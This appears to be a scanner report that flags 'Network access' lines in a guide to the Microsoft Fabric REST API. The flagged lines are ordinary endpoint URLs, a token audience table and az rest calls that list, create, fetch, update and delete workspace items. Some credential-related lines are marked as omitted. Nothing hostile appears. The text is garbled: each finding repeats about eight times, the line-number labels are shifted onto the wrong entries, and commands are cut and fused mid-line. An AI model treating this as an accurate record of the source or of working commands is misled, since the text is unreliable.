# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
